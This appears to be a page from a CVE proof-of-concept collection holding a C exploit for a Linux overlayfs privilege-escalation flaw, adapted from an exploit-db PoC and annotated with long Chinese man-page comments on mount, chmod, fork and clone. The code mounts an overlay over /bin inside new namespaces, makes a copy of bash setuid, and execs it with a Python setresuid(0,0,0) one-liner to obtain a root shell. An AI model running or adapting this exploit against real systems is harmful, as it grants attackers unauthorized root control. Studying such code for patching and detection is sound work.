4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / overlayfs_bk.c C
/*************************************************************************
    > File Name       : overlayfs.c
    > Author          : 何能斌
    > Mail            : [email protected] 
    > Created Time    : Tue 15 Mar 2016 01:01:22 AM PDT
    > Remake          :
		这个程序是我根据exploit-db.com上给出的POC文档改编而来,因为多进程
		我不会调试,所以只能加入很多输出来查看程序运行的流程,在程序能正常
		运行的基础上删除了很多头文件,少用了一次fork()
 ************************************************************************/

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sched.h>
#include<linux/sched.h>
#include<signal.h>
#include<sys/mount.h>
#include<stdlib.h>
#include<sys/stat.h>

static char child_stack[1024*1024];

static int child_exec(void *stuff)
{
	printf("entry the child_exec()\n");
	system("rm -rf /tmp/haxhax");
	mkdir("/tmp/haxhax",0777);
	mkdir("/tmp/haxhax/w",0777);
	mkdir("/tmp/haxhax/u",0777);
	mkdir("/tmp/haxhax/o",0777);

	printf("before mount\n");
	/*mount()/umount()函数
	功能描述:
		mount挂上文件系统,umount执行相反的操作。
  
	用法:  
	#include <sys/mount.h>
	int mount(const char *source, const char *target,
	const char *filesystemtype, unsigned long mountflags, const void *data);
	int umount(const char *target);
	int umount2(const char *target, int flags);

	参数:   
		source:将要挂上的文件系统,通常是一个设备名。
		target:文件系统所要挂在的目标目录。
		filesystemtype:文件系统的类型,可以是"ext2","ext3","msdos",
			"proc","nfs","iso9660" 。。。
		mountflags:指定文件系统的读写访问标志,可能值有以下
		MS_BIND:执行bind挂载,使文件或者子目录树在文件系统内的另一个点上可视。
		MS_DIRSYNC:同步目录的更新。
		MS_MANDLOCK:允许在文件上执行强制锁。
		MS_MOVE:移动子目录树。
		MS_NOATIME:不要更新文件上的访问时间。
		MS_NODEV:不允许访问设备文件。
		MS_NODIRATIME:不允许更新目录上的访问时间。
		MS_NOEXEC:不允许在挂上的文件系统上执行程序。
		MS_NOSUID:执行程序时,不遵照set-user-ID 和 set-group-ID位。
		MS_RDONLY:指定文件系统为只读。
		MS_REMOUNT:重新加载文件系统。这允许你改变现存文件系统的mountflag和
			数据,而无需使用先卸载,再挂上文件系统的方式。
		MS_SYNCHRONOUS:同步文件的更新。
		MNT_FORCE:强制卸载,即使文件系统处于忙状态。
		MNT_EXPIRE:将挂载点标志为过时。
		data:文件系统特有的参数。
    
	返回说明:   
	成功执行时,返回0。失败返回-1,errno被设为以下的某个值   
		EACCES:权能不足,可能原因是,路径的一部分不可搜索,或者挂载只读的文
			件系统时,没有指定 MS_RDONLY 标志。
		EAGAIN:成功地将不处于忙状态的文件系统标志为过时。
		EBUSY:一. 源文件系统已被挂上。或者不可以以只读的方式重新挂载,因为
			它还拥有以写方式打开的文件。二. 目标处于忙状态。
		EFAULT: 内存空间访问出错。
		EINVAL:操作无效,可能是源文件系统超级块无效。
		ELOOP :路径解析的过程中存在太多的符号连接。
		EMFILE:无需块设备要求的情况下,无用设备表已满。
		ENAMETOOLONG:路径名超出可允许的长度。
		ENODEV:内核不支持某中文件系统。
		ENOENT:路径名部分内容表示的目录不存在。
		ENOMEM: 核心内存不足。
		ENOTBLK:source不是块设备。
		ENOTDIR:路径名的部分内容不是目录。
		EPERM : 调用者权能不足。
		ENXIO:块主设备号超出所允许的范围。*/
	if(mount("overlay","/tmp/haxhax/o","overlay",MS_MGC_VAL,"lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w")!=0)
	{
		printf("mount failed...\n");
		fprintf(stderr,"mount failed...\n");
	}
	else
	{
		printf("mount sucess!!\n");
	}
	printf("after mount\n");
	
	/*chmod()
	头文件:#include <sys/types.h>   #include <sys/stat.h>
	定义函数:int chmod(const char * path, mode_t mode);
	函数说明:chmod()会依参数mode 权限来更改参数path 指定文件的权限。
	参数 mode 有下列数种组合:
		1、S_ISUID 04000 文件的 (set user-id on execution)位
		2、S_ISGID 02000 文件的 (set group-id on execution)位
		3、S_ISVTX 01000 文件的sticky 位
		4、S_IRUSR (S_IREAD) 00400 文件所有者具可读取权限
		5、S_IWUSR (S_IWRITE)00200 文件所有者具可写入权限
		6、S_IXUSR (S_IEXEC) 00100 文件所有者具可执行权限
		7、S_IRGRP 00040 用户组具可读取权限
		8、S_IWGRP 00020 用户组具可写入权限
		9、S_IXGRP 00010 用户组具可执行权限
		10、S_IROTH 00004 其他用户具可读取权限
		11、S_IWOTH 00002 其他用户具可写入权限
		12、S_IXOTH 00001 其他用户具可执行权限

	注:只有该文件的所有者或有效用户识别码为0,才可以修改该文件权限。
	基于系统安全,如果欲将数据写入一执行文件,而该执行文件具有S_ISUID 或S_ISGID
	权限,则这两个位会被清除。如果一目录具有S_ISUID 位权限,表示在此目录下只有该
	文件的所有者或root 可以删除该文件。

	返回值:权限改变成功返回0, 失败返回-1, 错误原因存于errno.

	错误代码:
		1、EPERM 进程的有效用户识别码与欲修改权限的文件拥有者不同, 而且也不
			具root 权限.
		2、EACCESS 参数path 所指定的文件无法存取.
		3、EROFS 欲写入权限的文件存在于只读文件系统内.
		4、EFAULT 参数path 指针超出可存取内存空间.
		5、EINVAL 参数mode 不正确
		6、ENAMETOOLONG 参数path 太长
		7、ENOENT 指定的文件不存在
		8、ENOTDIR 参数path 路径并非一目录
		9、ENOMEM 核心内存不足
		10、ELOOP 参数path 有过多符号连接问题.
		11、EIO I/O 存取错误*/

	chmod("/tmp/haxhax/w/work",0777);

	/*chdir()
	 *头文件:#include <unistd.h>
	 *定义函数:int chdir(const char * path);
	 *函数说明:chdir()用来将当前的工作目录改变成以参数path 所指的目录.
	 *返回值执:行成功则返回0, 失败返回-1, errno 为错误代码.*/
	chdir("/tmp/haxhax/o");
	chmod("bash",04755);
	chdir("/");
	umount("/tmp/haxhax/o");

	return 0;
}

int main(int argc,char *argv[])
{
	int mount = 10; //用来查看程序运行的顺序
	int status;
	pid_t init;
	int clone_flags = CLONE_NEWNS | SIGCHLD;
	struct stat s;
/*struct stat {
    dev_t         st_dev;       //文件的设备编号
    ino_t         st_ino;       //节点
    mode_t        st_mode;      //文件的类型和存取的权限
    nlink_t       st_nlink;     //连到该文件的硬连接数目,刚建立的文件值为1
    uid_t         st_uid;       //用户ID
    gid_t         st_gid;       //组ID
    dev_t         st_rdev;      //(设备类型)若此文件为设备文件,则为其设备编号
    off_t         st_size;      //文件字节数(文件大小)
    unsigned long st_blksize;   //块大小(文件系统的I/O 缓冲区大小)
    unsigned long st_blocks;    //块数
    time_t        st_atime;     //最后一次访问时间
    time_t        st_mtime;     //最后一次修改时间
    time_t        st_ctime;     //最后一次改变时间(指属性)
};

st_mode 应该是一个32为的整形变量,现在的linux系统只用了其中的前16位(0-15)
 
第15位:其实这一位只用到了一次:
        0170000 (和12-14位合起来,是获得文件类型的屏蔽信息)
12-14位:三位确定了文件的类型(linux文件的类型总共有7中,三位就够了)
11-10位: 这2位分别是是文件用户id和组id位
9位:这位是sticky位
8-0位:这就是文件的访问权限的集合了
先前所描述的st_mode 则定义了下列数种情况:
    S_IFMT   0170000    文件类型的位遮罩
    S_IFSOCK 0140000    scoket
    S_IFLNK 0120000     符号连接
    S_IFREG 0100000     一般文件
    S_IFBLK 0060000     区块装置
    S_IFDIR 0040000     目录
    S_IFCHR 0020000     字符装置
    S_IFIFO 0010000     先进先出

    S_ISUID 04000     文件的(set user-id on execution)位
    S_ISGID 02000     文件的(set group-id on execution)位
    S_ISVTX 01000     文件的sticky位

    S_IRUSR(S_IREAD) 00400     文件所有者具可读取权限
    S_IWUSR(S_IWRITE)00200     文件所有者具可写入权限
    S_IXUSR(S_IEXEC) 00100     文件所有者具可执行权限

    S_IRGRP 00040             用户组具可读取权限
    S_IWGRP 00020             用户组具可写入权限
    S_IXGRP 00010             用户组具可执行权限

    S_IROTH 00004             其他用户具可读取权限
    S_IWOTH 00002             其他用户具可写入权限
    S_IXOTH 00001             其他用户具可执行权限

    上述的文件类型在POSIX中定义了检查这些类型的宏定义:
    S_ISLNK (st_mode)    判断是否为符号连接
    S_ISREG (st_mode)    是否为一般文件
    S_ISDIR (st_mode)    是否为目录
    S_ISCHR (st_mode)    是否为字符装置文件
    S_ISBLK (s3e)        是否为先进先出
    S_ISSOCK (st_mode)   是否为socket*/

	printf("%d : before the fork()\n",mount);
	/*fork()需要头文件unistd.h
	 *一个进程,包括代码、数据和分配给进程的资源。fork()函数通过系统调用创建一
	 *个与原来进程几乎完全相同的进程,也就是两个进程可以做完全相同的事,但如果初
	 *始参数或者传入的变量不同,两个进程也可以做不同的事。一个进程调用fork()函
	 *数后,系统先给新的进程分配资源,例如存储数据和代码的空间。然后把原来的进程
	 *的所有值都复制到新的新进程中,只有少数值与原来的进程的值不同。相当于克隆了
	 *一个自己。
	 *fork调用的一个奇妙之处就是它仅仅被调用一次,却能够返回两次,它可能有三种不
	 *同的返回值:
    		1)在父进程中,fork返回新创建子进程的进程ID;
    		2)在子进程中,fork返回0;
    		3)如果出现错误,fork返回一个负值;
	 *fork出错可能有两种原因:
    		1)当前的进程数已经达到了系统规定的上限,这时errno的值被设置为EAGAIN。
   		2)系统内存不足,这时errno的值被设置为ENOMEM。*/
	if((init = fork()) == 0)
	{
		/*unshare需要头文件#include <sched.h>
		 *新的命名空间可以用下面两种方法创建。
		 *	(1) 在用fork或clone系统调用创建新进程时,有特定的选项可以控
		 *制是与父进程共享命名空间,还是建立新的命名空间。
		 *	(2) unshare系统调用将进程的某些部分从父进程分离,其中也包括
		 *命名空间。其中CLONE_NEWUSER用于创建新的用户和用户组空间
		 */
		if(unshare(CLONE_NEWUSER)!=0)
		{
			printf("failed to create new user namespase\n");
		}

		mount = 11;
		printf("%d : after the fork()\n",mount);

		/*#include<linux/sched.h>  #include<signal.h>
		 fork()函数复制时将父进程的所以资源都通过复制数据结构进行了复制,然
		 后传递给子进程,所以fork()函数不带参数;clone()函数则是将部分父进程
		 的资源的数据结构进行复制,复制哪些资源是可选择的,这个可以通过参数设
		 定,所以clone()函数带参数,没有复制的资源可以通过指针共享给子进程.
		 Clone()函数的声明如下:
	int clone(int (*fn)(void *), void *child_stack, int flags, void *arg)
		 fn为函数指针,此指针指向一个函数体,即想要创建进程的静态程序;
		 child_stack为给子进程分配系统堆栈的指针;arg就是传给子进程的参数;
		 flags为要复制资源的标志:
  CLONE_PARENT   创建的子进程的父进程是调用者的父进程,新进程与创建它的进程成了“兄弟”
	而不是“父子”
  CLONE_FS           子进程与父进程共享相同的文件系统,包括root、当前目录、umask
  CLONE_FILES      子进程与父进程共享相同的文件描述符(file descriptor)表
  CLONE_NEWNS   在新的namespace启动子进程,namespace描述了进程的文件hierarchy
  CLONE_SIGHAND   子进程与父进程共享相同的信号处理(signal handler)表
  CLONE_PTRACE   若父进程被trace,子进程也被trace
  CLONE_VFORK     父进程被挂起,直至子进程释放虚拟内存资源
  CLONE_VM           子进程与父进程运行于相同的内存空间
  CLONE_PID          子进程在创建时PID与父进程一致
  CLONE_THREAD    Linux 2.4中增加以支持POSIX线程标准,子进程与父进程共享相同的线程群
		 fork()可以看出是完全版的clone(),而clone()克隆的只是fork()的一部分。
   		 为了提高系统的效率,后来的Linux设计者又增加了一个系统调用vfork()。
		 vfork()所创建的不是进程而是线程,它所复制的是除了任务结构体和系统堆
		 栈之外的所有资源的数据结构,而任务结构体和系统堆栈是与父进程共用的。*/
		pid_t pid =
			clone(child_exec,child_stack + (1024*1024),clone_flags,NULL);
		if(pid < 0)
		{
			printf("error\n");
			fprintf(stderr,"failed to create new mount namespace\n");
			exit(-1);
		}
		printf("%d : after the clone()\n",mount);

/*waitpid()
头文件:#include <sys/types.h>    
	#include <sys/wait.h>
定义函数:pid_t waitpid(pid_t pid, int * status, int options);

函数说明:
	waitpid()会暂时停止目前进程的执行, 直到有信号来到或子进程结束. 如果在调用
wait()时子进程已经结束, 则wait()会立即返回子进程结束状态值. 子进程的结束状态值会由参
数status 返回, 而子进程的进程识别码也会一快返回. 如果不在意结束状态值, 则参数status
可以设成NULL. 参数pid 为欲等待的子进程识别码, 其他数值意义如下:
	1、pid<-1 等待进程组识别码为pid 绝对值的任何子进程.
	2、pid=-1 等待任何子进程, 相当于wait().
	3、pid=0 等待进程组识别码与目前进程相同的任何子进程.
	4、pid>0 等待任何子进程识别码为pid 的子进程.

参数option 可以为0 或下面的OR 组合:

	WNOHANG:如果没有任何已经结束的子进程则马上返回, 不予以等待.
	WUNTRACED:如果子进程进入暂停执行情况则马上返回, 但结束状态不予以理会. 子进
		程的结束状态返回后存于status, 底下有几个宏可判别结束情况
	WIFEXITED(status):如果子进程正常结束则为非0 值.
	WEXITSTATUS(status):取得子进程exit()返回的结束代码, 一般会先用WIFEXITED 
		来判断是否正常结束才能使用此宏.
	WIFSIGNALED(status):如果子进程是因为信号而结束则此宏值为真
	WTERMSIG(status):取得子进程因信号而中止的信号代码, 一般会先用WIFSIGNALED 
		来判断后才使用此宏.
	WIFSTOPPED(status):如果子进程处于暂停执行情况则此宏值为真. 一般只有使用
		WUNTRACED时才会有此情况.
	WSTOPSIG(status):取得引发子进程暂停的信号代码, 一般会先用WIFSTOPPED 来判断
		后才使用此宏.

返回值:如果执行成功则返回子进程识别码(PID), 如果有错误发生则返回-1. 
	失败原因存于errno 中.*/
		waitpid(pid,&status,0);
		return 0;
	}
	printf("%d : after the fork()\n",mount);
	
	/*usleep()
	头文件: unistd.h
	语法: void usleep(int micro_seconds);
	返回值: 无
	内容说明:本函数可暂时使程序停止执行。参数 micro_seconds 为要暂停的微秒数(us)。
	*/
	usleep(30000);

	/*wait()
	头文件:#include <sys/types.h>    #include <sys/wait.h>

	定义函数:pid_t wait (int * status);

	函数说明:wait()会暂时停止目前进程的执行, 直到有信号来到或子进程结束. 如果在
	调用wait()时子进程已经结束, 则wait()会立即返回子进程结束状态值. 子进程的结束
	状态值会由参数status 返回, 而子进程的进程识别码也会一快返回. 如果不在意结束
	状态值, 则参数 status 可以设成NULL. 子进程的结束状态值请参考waitpid().*/
	wait(NULL);

	printf("s.st_mode = %x\n",s.st_mode);
	/*stat()
	表头文件:    	#include <sys/stat.h>
             		#include <unistd.h>
	定义函数:    int stat(const char *file_name, struct stat *buf);
	函数说明:    通过文件名filename获取文件信息,并保存在buf所指的结构体stat中
	返回值:      执行成功则返回0,失败返回-1,错误代码存于errno

	错误代码:
    		ENOENT         参数file_name指定的文件不存在
    		ENOTDIR        路径中的目录存在但却非真正的目录
    		ELOOP          欲打开的文件有过多符号连接问题,上限为16符号连接
    		EFAULT         参数buf为无效指针,指向无法存在的内存空间
   		EACCESS        存取文件时被拒绝
   		ENOMEM         核心内存不足
   		ENAMETOOLONG   参数file_name的路径名称太长*/
	stat("/tmp/haxhax/u/bash",&s);
	printf("s.st_mode = %x\n",s.st_mode);
	if(s.st_mode == 0x89ed)
	{
		//如果在子进程中chmod("bash",04755)成功,则运行下面的提权命令
		execl("/tmp/haxhax/u/bash","bash","-p","-c","python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
	}
	else
	{
		printf("execl error!!\n");
	}

    return 0;
}